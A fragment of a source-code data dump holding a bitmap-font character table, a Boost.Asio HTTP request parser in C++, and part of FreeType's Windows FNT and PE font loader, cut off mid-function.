xadvance=12 page=0 chnl=15\nchar id=200 x=308 y=0 width=17 height=25 xoffset=2 yoffset=0 xadvance=12 page=0 chnl=15\nchar id=201 x=326 y=0 width=17 height=25 xoffset=2 yoffset=0 xadvance=12 page=0 chnl=15\nchar id=202 x=290 y=0 width=17 height=25 xoffset=2 yoffset=0 xadvance=12 page=0 chnl=15\nchar id=203 x=74 y=26 width=17 height=24 xoffset=2 yoffset=1 xadvance=12 page=0 chnl=15\nchar id=204 x=360 y=0 width=15 height=25 xoffset=1 yoffset=0 xadvance=9 page=0 chnl=15\nchar id=205 x=376 y=0 width=15 height=25 xoffset=1 yoffset=0 xadvance=9 page=0 chnl=15\nchar id=206 x=344 y=0 width=15 height=25 xoffset=1 yoffset=0 xadvance=9 page=0 chnl=15\nchar id=207 x=496 y=0 width=15 height=24 xoffset=1 yoffset=1 xadvance=9 page=0 chnl=15\nchar id=208 x=242 y=72 width=20 height=20 xoffset=1 yoffset=5 xadvance=14 page=0 chnl=15\nchar id=209 x=214 y=0 width=18 height=25 xoffset=2 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=210 x=131 y=0 width=20 height=25 xoffset=1 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=211 x=152 y=0 width=20 height=25 xoffset=1 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=212 x=110 y=0 width=20 height=25 xoffset=1 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=213 x=173 y=0 width=20 height=25 xoffset=1 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=214 x=436 y=0 width=20 height=24 xoffset=1 yoffset=1 xadvance=14 page=0 chnl=15\nchar id=215 x=153 y=116 width=19 height=19 xoffset=2 yoffset=6 xadvance=15 page=0 chnl=15\nchar id=216 x=390 y=26 width=21 height=22 xoffset=0 yoffset=4 xadvance=14 page=0 chnl=15\nchar id=217 x=271 y=0 width=18 height=25 xoffset=2 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=218 x=252 y=0 width=18 height=25 xoffset=2 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=219 x=233 y=0 width=18 height=25 xoffset=2 yoffset=0 xadvance=14 page=0 chnl=15\nchar id=220 x=19 y=26 width=18 height=24 xoffset=2 yoffset=1 xadvance=14 page=0 chnl=15\nchar id=221 x=66 y=0 width=21 height=25 xoffset=0 yoffset=0 xadvance=13 page=0 chnl=15\nchar id=222 x=285 y=93 width=18 height=20 xoffset=2 yoffset=5 xadvance=13 page=0 chnl=15\nchar id=223 x=229 y=50 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=224 x=57 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=225 x=183 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=226 x=165 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=227 x=147 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=228 x=399 y=49 width=17 height=21 xoffset=1 yoffset=4 xadvance=11 page=0 chnl=15\nchar id=229 x=129 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=230 x=322 y=114 width=23 height=17 xoffset=1 yoffset=8 xadvance=17 page=0 chnl=15\nchar id=231 x=0 y=116 width=16 height=20 xoffset=1 yoffset=8 xadvance=10 page=0 chnl=15\nchar id=232 x=75 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=233 x=111 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=234 x=93 y=51 width=17 height=22 xoffset=1 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=235 x=381 y=49 width=17 height=21 xoffset=1 yoffset=4 xadvance=11 page=0 chnl=15\nchar id=236 x=201 y=51 width=13 height=22 xoffset=0 yoffset=3 xadvance=6 page=0 chnl=15\nchar id=237 x=215 y=51 width=13 height=22 xoffset=1 yoffset=3 xadvance=6 page=0 chnl=15\nchar id=238 x=417 y=48 width=15 height=21 xoffset=-1 yoffset=4 xadvance=6 page=0 chnl=15\nchar id=239 x=51 y=116 width=15 height=20 xoffset=-1 yoffset=5 xadvance=6 page=0 chnl=15\nchar id=240 x=267 y=50 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=241 x=469 y=25 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=242 x=488 y=25 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=243 x=0 y=51 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=244 x=19 y=51 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=245 x=38 y=51 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=246 x=248 y=50 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=247 x=233 y=116 width=19 height=18 xoffset=2 yoffset=6 xadvance=15 page=0 chnl=15\nchar id=248 x=326 y=71 width=20 height=20 xoffset=0 yoffset=7 xadvance=12 page=0 chnl=15\nchar id=249 x=412 y=25 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=250 x=431 y=25 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=251 x=450 y=25 width=18 height=22 xoffset=1 yoffset=3 xadvance=12 page=0 chnl=15\nchar id=252 x=362 y=49 width=18 height=21 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=253 x=194 y=0 width=19 height=25 xoffset=0 yoffset=3 xadvance=11 page=0 chnl=15\nchar id=254 x=0 y=26 width=18 height=24 xoffset=1 yoffset=4 xadvance=12 page=0 chnl=15\nchar id=255 x=457 y=0 width=19 height=24 xoffset=0 yoffset=4 xadvance=11 page=0 chnl=15\n"} +{"text": "//\n// request_parser.cpp\n// ~~~~~~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2019 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#include \"request_parser.hpp\"\n#include \n#include \n#include \n#include \"request.hpp\"\n\nnamespace http {\nnamespace server4 {\n\n// Enable the pseudo-keywords reenter, yield and fork.\n#include \n\nstd::string request_parser::content_length_name_ = \"Content-Length\";\n\nboost::tribool request_parser::consume(request& req, char c)\n{\n reenter (this)\n {\n req.method.clear();\n req.uri.clear();\n req.http_version_major = 0;\n req.http_version_minor = 0;\n req.headers.clear();\n req.content.clear();\n content_length_ = 0;\n\n // Request method.\n while (is_char(c) && !is_ctl(c) && !is_tspecial(c) && c != ' ')\n {\n req.method.push_back(c);\n yield return boost::indeterminate;\n }\n if (req.method.empty())\n return false;\n\n // Space.\n if (c != ' ') return false;\n yield return boost::indeterminate;\n\n // URI.\n while (!is_ctl(c) && c != ' ')\n {\n req.uri.push_back(c);\n yield return boost::indeterminate;\n }\n if (req.uri.empty()) return false;\n\n // Space.\n if (c != ' ') return false;\n yield return boost::indeterminate;\n\n // HTTP protocol identifier.\n if (c != 'H') return false;\n yield return boost::indeterminate;\n if (c != 'T') return false;\n yield return boost::indeterminate;\n if (c != 'T') return false;\n yield return boost::indeterminate;\n if (c != 'P') return false;\n yield return boost::indeterminate;\n\n // Slash.\n if (c != '/') return false;\n yield return boost::indeterminate;\n\n // Major version number.\n if (!is_digit(c)) return false;\n while (is_digit(c))\n {\n req.http_version_major = req.http_version_major * 10 + c - '0';\n yield return boost::indeterminate;\n }\n\n // Dot.\n if (c != '.') return false;\n yield return boost::indeterminate;\n\n // Minor version number.\n if (!is_digit(c)) return false;\n while (is_digit(c))\n {\n req.http_version_minor = req.http_version_minor * 10 + c - '0';\n yield return boost::indeterminate;\n }\n\n // CRLF.\n if (c != '\\r') return false;\n yield return boost::indeterminate;\n if (c != '\\n') return false;\n yield return boost::indeterminate;\n\n // Headers.\n while ((is_char(c) && !is_ctl(c) && !is_tspecial(c) && c != '\\r')\n || (c == ' ' || c == '\\t'))\n {\n if (c == ' ' || c == '\\t')\n {\n // Leading whitespace. Must be continuation of previous header's value.\n if (req.headers.empty()) return false;\n while (c == ' ' || c == '\\t')\n yield return boost::indeterminate;\n }\n else\n {\n // Start the next header.\n req.headers.push_back(header());\n\n // Header name.\n while (is_char(c) && !is_ctl(c) && !is_tspecial(c) && c != ':')\n {\n req.headers.back().name.push_back(c);\n yield return boost::indeterminate;\n }\n\n // Colon and space separates the header name from the header value.\n if (c != ':') return false;\n yield return boost::indeterminate;\n if (c != ' ') return false;\n yield return boost::indeterminate;\n }\n\n // Header value.\n while (is_char(c) && !is_ctl(c) && c != '\\r')\n {\n req.headers.back().value.push_back(c);\n yield return boost::indeterminate;\n }\n\n // CRLF.\n if (c != '\\r') return false;\n yield return boost::indeterminate;\n if (c != '\\n') return false;\n yield return boost::indeterminate;\n }\n\n // CRLF.\n if (c != '\\r') return false;\n yield return boost::indeterminate;\n if (c != '\\n') return false;\n\n // Check for optional Content-Length header.\n for (std::size_t i = 0; i < req.headers.size(); ++i)\n {\n if (headers_equal(req.headers[i].name, content_length_name_))\n {\n try\n {\n content_length_ =\n boost::lexical_cast(req.headers[i].value);\n }\n catch (boost::bad_lexical_cast&)\n {\n return false;\n }\n }\n }\n\n // Content.\n while (req.content.size() < content_length_)\n {\n yield return boost::indeterminate;\n req.content.push_back(c);\n }\n }\n\n return true;\n}\n\n// Disable the pseudo-keywords reenter, yield and fork.\n#include \n\nbool request_parser::is_char(int c)\n{\n return c >= 0 && c <= 127;\n}\n\nbool request_parser::is_ctl(int c)\n{\n return (c >= 0 && c <= 31) || (c == 127);\n}\n\nbool request_parser::is_tspecial(int c)\n{\n switch (c)\n {\n case '(': case ')': case '<': case '>': case '@':\n case ',': case ';': case ':': case '\\\\': case '\"':\n case '/': case '[': case ']': case '?': case '=':\n case '{': case '}': case ' ': case '\\t':\n return true;\n default:\n return false;\n }\n}\n\nbool request_parser::is_digit(int c)\n{\n return c >= '0' && c <= '9';\n}\n\nbool request_parser::tolower_compare(char a, char b)\n{\n return std::tolower(a) == std::tolower(b);\n}\n\nbool request_parser::headers_equal(const std::string& a, const std::string& b)\n{\n if (a.length() != b.length())\n return false;\n\n return std::equal(a.begin(), a.end(), b.begin(),\n &request_parser::tolower_compare);\n}\n\n} // namespace server4\n} // namespace http\n"} +{"text": "\r\n#include FT_WINFONTS_H\r\n#include FT_INTERNAL_DEBUG_H\r\n#include FT_INTERNAL_STREAM_H\r\n#include FT_INTERNAL_OBJECTS_H\r\n#include FT_TRUETYPE_IDS_H\r\n\r\n#include \"winfnt.h\"\r\n#include \"fnterrs.h\"\r\n#include FT_SERVICE_WINFNT_H\r\n#include FT_SERVICE_XFREE86_NAME_H\r\n\r\n /*************************************************************************/\r\n /* */\r\n /* The macro FT_COMPONENT is used in trace mode. It is an implicit */\r\n /* parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log */\r\n /* messages during execution. */\r\n /* */\r\n#undef FT_COMPONENT\r\n#define FT_COMPONENT trace_winfnt\r\n\r\n\r\n static const FT_Frame_Field winmz_header_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinMZ_HeaderRec\r\n\r\n FT_FRAME_START( 64 ),\r\n FT_FRAME_USHORT_LE ( magic ),\r\n FT_FRAME_SKIP_BYTES( 29 * 2 ),\r\n FT_FRAME_ULONG_LE ( lfanew ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winne_header_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinNE_HeaderRec\r\n\r\n FT_FRAME_START( 40 ),\r\n FT_FRAME_USHORT_LE ( magic ),\r\n FT_FRAME_SKIP_BYTES( 34 ),\r\n FT_FRAME_USHORT_LE ( resource_tab_offset ),\r\n FT_FRAME_USHORT_LE ( rname_tab_offset ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winpe32_header_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinPE32_HeaderRec\r\n\r\n FT_FRAME_START( 248 ),\r\n FT_FRAME_ULONG_LE ( magic ), /* PE00 */\r\n FT_FRAME_USHORT_LE ( machine ), /* 0x014c - i386 */\r\n FT_FRAME_USHORT_LE ( number_of_sections ),\r\n FT_FRAME_SKIP_BYTES( 12 ),\r\n FT_FRAME_USHORT_LE ( size_of_optional_header ),\r\n FT_FRAME_SKIP_BYTES( 2 ),\r\n FT_FRAME_USHORT_LE ( magic32 ), /* 0x10b */\r\n FT_FRAME_SKIP_BYTES( 110 ),\r\n FT_FRAME_ULONG_LE ( rsrc_virtual_address ),\r\n FT_FRAME_ULONG_LE ( rsrc_size ),\r\n FT_FRAME_SKIP_BYTES( 104 ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winpe32_section_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinPE32_SectionRec\r\n\r\n FT_FRAME_START( 40 ),\r\n FT_FRAME_BYTES ( name, 8 ),\r\n FT_FRAME_SKIP_BYTES( 4 ),\r\n FT_FRAME_ULONG_LE ( virtual_address ),\r\n FT_FRAME_ULONG_LE ( size_of_raw_data ),\r\n FT_FRAME_ULONG_LE ( pointer_to_raw_data ),\r\n FT_FRAME_SKIP_BYTES( 16 ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winpe_rsrc_dir_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinPE_RsrcDirRec\r\n\r\n FT_FRAME_START( 16 ),\r\n FT_FRAME_ULONG_LE ( characteristics ),\r\n FT_FRAME_ULONG_LE ( time_date_stamp ),\r\n FT_FRAME_USHORT_LE( major_version ),\r\n FT_FRAME_USHORT_LE( minor_version ),\r\n FT_FRAME_USHORT_LE( number_of_named_entries ),\r\n FT_FRAME_USHORT_LE( number_of_id_entries ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winpe_rsrc_dir_entry_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinPE_RsrcDirEntryRec\r\n\r\n FT_FRAME_START( 8 ),\r\n FT_FRAME_ULONG_LE( name ),\r\n FT_FRAME_ULONG_LE( offset ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winpe_rsrc_data_entry_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE WinPE_RsrcDataEntryRec\r\n\r\n FT_FRAME_START( 16 ),\r\n FT_FRAME_ULONG_LE( offset_to_data ),\r\n FT_FRAME_ULONG_LE( size ),\r\n FT_FRAME_ULONG_LE( code_page ),\r\n FT_FRAME_ULONG_LE( reserved ),\r\n FT_FRAME_END\r\n };\r\n\r\n static const FT_Frame_Field winfnt_header_fields[] =\r\n {\r\n#undef FT_STRUCTURE\r\n#define FT_STRUCTURE FT_WinFNT_HeaderRec\r\n\r\n FT_FRAME_START( 148 ),\r\n FT_FRAME_USHORT_LE( version ),\r\n FT_FRAME_ULONG_LE ( file_size ),\r\n FT_FRAME_BYTES ( copyright, 60 ),\r\n FT_FRAME_USHORT_LE( file_type ),\r\n FT_FRAME_USHORT_LE( nominal_point_size ),\r\n FT_FRAME_USHORT_LE( vertical_resolution ),\r\n FT_FRAME_USHORT_LE( horizontal_resolution ),\r\n FT_FRAME_USHORT_LE( ascent ),\r\n FT_FRAME_USHORT_LE( internal_leading ),\r\n FT_FRAME_USHORT_LE( external_leading ),\r\n FT_FRAME_BYTE ( italic ),\r\n FT_FRAME_BYTE ( underline ),\r\n FT_FRAME_BYTE ( strike_out ),\r\n FT_FRAME_USHORT_LE( weight ),\r\n FT_FRAME_BYTE ( charset ),\r\n FT_FRAME_USHORT_LE( pixel_width ),\r\n FT_FRAME_USHORT_LE( pixel_height ),\r\n FT_FRAME_BYTE ( pitch_and_family ),\r\n FT_FRAME_USHORT_LE( avg_width ),\r\n FT_FRAME_USHORT_LE( max_width ),\r\n FT_FRAME_BYTE ( first_char ),\r\n FT_FRAME_BYTE ( last_char ),\r\n FT_FRAME_BYTE ( default_char ),\r\n FT_FRAME_BYTE ( break_char ),\r\n FT_FRAME_USHORT_LE( bytes_per_row ),\r\n FT_FRAME_ULONG_LE ( device_offset ),\r\n FT_FRAME_ULONG_LE ( face_name_offset ),\r\n FT_FRAME_ULONG_LE ( bits_pointer ),\r\n FT_FRAME_ULONG_LE ( bits_offset ),\r\n FT_FRAME_BYTE ( reserved ),\r\n FT_FRAME_ULONG_LE ( flags ),\r\n FT_FRAME_USHORT_LE( A_space ),\r\n FT_FRAME_USHORT_LE( B_space ),\r\n FT_FRAME_USHORT_LE( C_space ),\r\n FT_FRAME_ULONG_LE ( color_table_offset ),\r\n FT_FRAME_BYTES ( reserved1, 16 ),\r\n FT_FRAME_END\r\n };\r\n\r\n\r\n static void\r\n fnt_font_done( FNT_Face face )\r\n {\r\n FT_Memory memory = FT_FACE( face )->memory;\r\n FT_Stream stream = FT_FACE( face )->stream;\r\n FNT_Font font = face->font;\r\n\r\n\r\n if ( !font )\r\n return;\r\n\r\n if ( font->fnt_frame )\r\n FT_FRAME_RELEASE( font->fnt_frame );\r\n FT_FREE( font->family_name );\r\n\r\n FT_FREE( font );\r\n face->font = 0;\r\n }\r\n\r\n\r\n static FT_Error\r\n fnt_font_load( FNT_Font font,\r\n FT_Stream stream )\r\n {\r\n FT_Error error;\r\n FT_WinFNT_Header header = &font->header;\r\n FT_Bool new_format;\r\n FT_UInt size;\r\n\r\n\r\n /* first of all, read the FNT header */\r\n if ( FT_STREAM_SEEK( font->offset ) ||\r\n FT_STREAM_READ_FIELDS( winfnt_header_fields, header ) )\r\n goto Exit;\r\n\r\n /* check header */\r\n if ( header->version != 0x200 &&\r\n header->version != 0x300 )\r\n {\r\n FT_TRACE2(( \" not a Windows FNT file\\n\" ));\r\n error = FNT_Err_Unknown_File_Format;\r\n goto Exit;\r\n }\r\n\r\n new_format = FT_BOOL( font->header.version == 0x300 );\r\n size = new_format ? 148 : 118;\r\n\r\n if ( header->file_size < size )\r\n {\r\n FT_TRACE2(( \" not a Windows FNT file\\n\" ));\r\n error = FNT_Err_Unknown_File_Format;\r\n goto Exit;\r\n }\r\n\r\n /* Version 2 doesn't have these fields */\r\n if ( header->version == 0x200 )\r\n {\r\n header->flags = 0;\r\n header->A_space = 0;\r\n header->B_space = 0;\r\n header->C_space = 0;\r\n\r\n header->color_table_offset = 0;\r\n }\r\n\r\n if ( header->file_type & 1 )\r\n {\r\n FT_TRACE2(( \"[can't handle vector FNT fonts]\\n\" ));\r\n error = FNT_Err_Unknown_File_Format;\r\n goto Exit;\r\n }\r\n\r\n /* this is a FNT file/table; extract its frame */\r\n if ( FT_STREAM_SEEK( font->offset ) ||\r\n FT_FRAME_EXTRACT( header->file_size, font->fnt_frame ) )\r\n goto Exit;\r\n\r\n Exit:\r\n return error;\r\n }\r\n\r\n\r\n static FT_Error\r\n fnt_face_get_dll_font( FNT_Face face,\r\n FT_Int face_index )\r\n {\r\n FT_Error error;\r\n FT_Stream stream = FT_FACE( face )->stream;\r\n FT_Memory memory = FT_FACE( face )->memory;\r\n WinMZ_HeaderRec mz_header;\r\n\r\n\r\n face->font = 0;\r\n\r\n /* does it begin with an MZ header? */\r\n if ( FT_STREAM_SEEK( 0 ) ||\r\n FT_STREAM_READ_FIELDS( winmz_header_fields, &mz_header ) )\r\n goto Exit;\r\n\r\n error = FNT_Err_Unknown_File_Format;\r\n if ( mz_header.magic == WINFNT_MZ_MAGIC )\r\n {\r\n /* yes, now look for an NE header in the file */\r\n WinNE_HeaderRec ne_header;\r\n\r\n\r\n FT_TRACE2(( \"MZ signature found\\n\" ));\r\n\r\n if ( FT_STREAM_SEEK( mz_header.lfanew ) ||\r\n FT_STREAM_READ_FIELDS( winne_header_fields, &ne_header ) )\r\n goto Exit;\r\n\r\n error = FNT_Err_Unknown_File_Format;\r\n if ( ne_header.magic == WINFNT_NE_MAGIC )\r\n {\r\n /* good, now look into the resource table for each FNT resource */\r\n FT_ULong res_offset = mz_header.lfanew +\r\n ne_header.resource_tab_offset;\r\n FT_UShort size_shift;\r\n FT_UShort font_count = 0;\r\n FT_ULong font_offset = 0;\r\n\r\n\r\n FT_TRACE2(( \"NE signature found\\n\" ));\r\n\r\n if ( FT_STREAM_SEEK( res_offset ) ||\r\n FT_FRAME_ENTER( ne_header.rname_tab_offset -\r\n ne_header.resource_tab_offset ) )\r\n goto Exit;\r\n\r\n size_shift = FT_GET_USHORT_LE();\r\n\r\n for (;;)\r\n {\r\n FT_UShort type_id, count;\r\n\r\n\r\n type_id = FT_GET_USHORT_LE();\r\n if ( !type_id )\r\n break;\r\n\r\n count = FT_GET_USHORT_LE();\r\n\r\n if ( type_id == 0x8008U )\r\n {\r\n font_count = count;\r\n font_offset = (FT_ULong)( FT_STREAM_POS() + 4 +\r\n ( stream->cursor - stream->limit ) );\r\n break;\r\n }\r\n\r\n stream->cursor += 4 + count * 12;\r\n }\r\n\r\n FT_FRAME_EXIT();\r\n\r\n if ( !font_count || !font_offset )\r\n {\r\n FT_TRACE2(( \"this file doesn't contain any FNT resources\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n /* loading `winfnt_header_fields' needs at least 118 bytes; */\r\n /* use this as a rough measure to check the expected font size */\r\n if ( font_count * 118UL > stream->size )\r\n {\r\n FT_TRACE2(( \"invalid number of faces\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n face->root.num_faces = font_count;\r\n\r\n if ( face_index >= font_count )\r\n {\r\n error = FNT_Err_Invalid_Argument;\r\n goto Exit;\r\n }\r\n else if ( face_index < 0 )\r\n goto Exit;\r\n\r\n if ( FT_NEW( face->font ) )\r\n goto Exit;\r\n\r\n if ( FT_STREAM_SEEK( font_offset + face_index * 12 ) ||\r\n FT_FRAME_ENTER( 12 ) )\r\n goto Fail;\r\n\r\n face->font->offset = (FT_ULong)FT_GET_USHORT_LE() << size_shift;\r\n face->font->fnt_size = (FT_ULong)FT_GET_USHORT_LE() << size_shift;\r\n\r\n stream->cursor += 8;\r\n\r\n FT_FRAME_EXIT();\r\n\r\n error = fnt_font_load( face->font, stream );\r\n }\r\n else if ( ne_header.magic == WINFNT_PE_MAGIC )\r\n {\r\n WinPE32_HeaderRec pe32_header;\r\n WinPE32_SectionRec pe32_section;\r\n WinPE_RsrcDirRec root_dir, name_dir, lang_dir;\r\n WinPE_RsrcDirEntryRec dir_entry1, dir_entry2, dir_entry3;\r\n WinPE_RsrcDataEntryRec data_entry;\r\n\r\n FT_Long root_dir_offset, name_dir_offset, lang_dir_offset;\r\n FT_UShort i, j, k;\r\n\r\n\r\n FT_TRACE2(( \"PE signature found\\n\" ));\r\n\r\n if ( FT_STREAM_SEEK( mz_header.lfanew ) ||\r\n FT_STREAM_READ_FIELDS( winpe32_header_fields, &pe32_header ) )\r\n goto Exit;\r\n\r\n FT_TRACE2(( \"magic %04lx, machine %02x, number_of_sections %u, \"\r\n \"size_of_optional_header %02x\\n\"\r\n \"magic32 %02x, rsrc_virtual_address %04lx, \"\r\n \"rsrc_size %04lx\\n\",\r\n pe32_header.magic, pe32_header.machine,\r\n pe32_header.number_of_sections,\r\n pe32_header.size_of_optional_header,\r\n pe32_header.magic32, pe32_header.rsrc_virtual_address,\r\n pe32_header.rsrc_size ));\r\n\r\n if ( pe32_header.magic != WINFNT_PE_MAGIC /* check full signature */ ||\r\n pe32_header.machine != 0x014c /* i386 */ ||\r\n pe32_header.size_of_optional_header != 0xe0 /* FIXME */ ||\r\n pe32_header.magic32 != 0x10b )\r\n {\r\n FT_TRACE2(( \"this file has an invalid PE header\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n face->root.num_faces = 0;\r\n\r\n for ( i = 0; i < pe32_header.number_of_sections; i++ )\r\n {\r\n if ( FT_STREAM_READ_FIELDS( winpe32_section_fields,\r\n &pe32_section ) )\r\n goto Exit;\r\n\r\n FT_TRACE2(( \"name %.8s, va %04lx, size %04lx, offset %04lx\\n\",\r\n pe32_section.name, pe32_section.virtual_address,\r\n pe32_section.size_of_raw_data,\r\n pe32_section.pointer_to_raw_data ));\r\n\r\n if ( pe32_header.rsrc_virtual_address ==\r\n pe32_section.virtual_address )\r\n goto Found_rsrc_section;\r\n }\r\n\r\n FT_TRACE2(( \"this file doesn't contain any resources\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n\r\n Found_rsrc_section:\r\n FT_TRACE2(( \"found resources section %.8s\\n\", pe32_section.name ));\r\n\r\n if ( FT_STREAM_SEEK( pe32_section.pointer_to_raw_data ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_fields, &root_dir ) )\r\n goto Exit;\r\n\r\n root_dir_offset = pe32_section.pointer_to_raw_data;\r\n\r\n for ( i = 0; i < root_dir.number_of_named_entries +\r\n root_dir.number_of_id_entries; i++ )\r\n {\r\n if ( FT_STREAM_SEEK( root_dir_offset + 16 + i * 8 ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_entry_fields,\r\n &dir_entry1 ) )\r\n goto Exit;\r\n\r\n if ( !(dir_entry1.offset & 0x80000000UL ) /* DataIsDirectory */ )\r\n {\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n dir_entry1.offset &= ~0x80000000UL;\r\n\r\n name_dir_offset = pe32_section.pointer_to_raw_data +\r\n dir_entry1.offset;\r\n\r\n if ( FT_STREAM_SEEK( pe32_section.pointer_to_raw_data +\r\n dir_entry1.offset ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_fields, &name_dir ) )\r\n goto Exit;\r\n\r\n for ( j = 0; j < name_dir.number_of_named_entries +\r\n name_dir.number_of_id_entries; j++ )\r\n {\r\n if ( FT_STREAM_SEEK( name_dir_offset + 16 + j * 8 ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_entry_fields,\r\n &dir_entry2 ) )\r\n goto Exit;\r\n\r\n if ( !(dir_entry2.offset & 0x80000000UL ) /* DataIsDirectory */ )\r\n {\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n dir_entry2.offset &= ~0x80000000UL;\r\n\r\n lang_dir_offset = pe32_section.pointer_to_raw_data +\r\n dir_entry2.offset;\r\n\r\n if ( FT_STREAM_SEEK( pe32_section.pointer_to_raw_data +\r\n dir_entry2.offset ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_fields, &lang_dir ) )\r\n goto Exit;\r\n\r\n for ( k = 0; k < lang_dir.number_of_named_entries +\r\n lang_dir.number_of_id_entries; k++ )\r\n {\r\n if ( FT_STREAM_SEEK( lang_dir_offset + 16 + k * 8 ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_dir_entry_fields,\r\n &dir_entry3 ) )\r\n goto Exit;\r\n\r\n if ( dir_entry2.offset & 0x80000000UL /* DataIsDirectory */ )\r\n {\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n if ( dir_entry1.name == 8 /* RT_FONT */ )\r\n {\r\n if ( FT_STREAM_SEEK( root_dir_offset + dir_entry3.offset ) ||\r\n FT_STREAM_READ_FIELDS( winpe_rsrc_data_entry_fields,\r\n &data_entry ) )\r\n goto Exit;\r\n\r\n FT_TRACE2(( \"found font #%lu, offset %04lx, \"\r\n \"size %04lx, cp %lu\\n\",\r\n dir_entry2.name,\r\n pe32_section.pointer_to_raw_data +\r\n data_entry.offset_to_data -\r\n pe32_section.virtual_address,\r\n data_entry.size, data_entry.code_page ));\r\n\r\n if ( face_index == face->root.num_faces )\r\n {\r\n if ( FT_NEW( face->font ) )\r\n goto Exit;\r\n\r\n face->font->offset = pe32_section.pointer_to_raw_data +\r\n data_entry.offset_to_data -\r\n pe32_section.virtual_address;\r\n face->font->fnt_size = data_entry.size;\r\n\r\n error = fnt_font_load( face->font, stream );\r\n if ( error )\r\n {\r\n FT_TRACE2(( \"font #%lu load error %d\\n\",\r\n dir_entry2.name, error ));\r\n goto Fail;\r\n }\r\n else\r\n FT_TRACE2(( \"font #%lu successfully loaded\\n\",\r\n dir_entry2.name ));\r\n }\r\n\r\n face->root.num_faces++;\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n if ( !face->root.num_faces )\r\n {\r\n FT_TRACE2(( \"this file doesn't contain any RT_FONT resources\\n\" ));\r\n error = FNT_Err_Invalid_File_Format;\r\n goto Exit;\r\n }\r\n\r\n if ( face_index >= face->root.num_faces )\r\n {\r\n error = FNT_Err_Invalid_Argument;\r\n goto Exit;\r\n }\r\n }\r\n\r\n Fail:\r\n if ( error )\r\n fnt_font_done( face );\r\n\r\n Exit:\r\n return error;\r\n }\r\n\r\n\r\n typedef struct FNT_CMapRec_\r\n {\r\n FT_CMapRec cmap;\r\n FT_UInt32 first;\r\n FT_UInt32 count;\r\n\r\n } FNT_CMapRec, *FNT_CMap;\r\n\r\n\r\n static FT_Error\r\n fnt_cmap_init( FNT_CMap cmap )\r\n {\r\n FNT_Face face = (FNT_Face)FT_CMAP_FACE( cmap );\r\n FNT_Font font = face->font;\r\n\r\n\r\n cmap->first = (FT_UInt32) 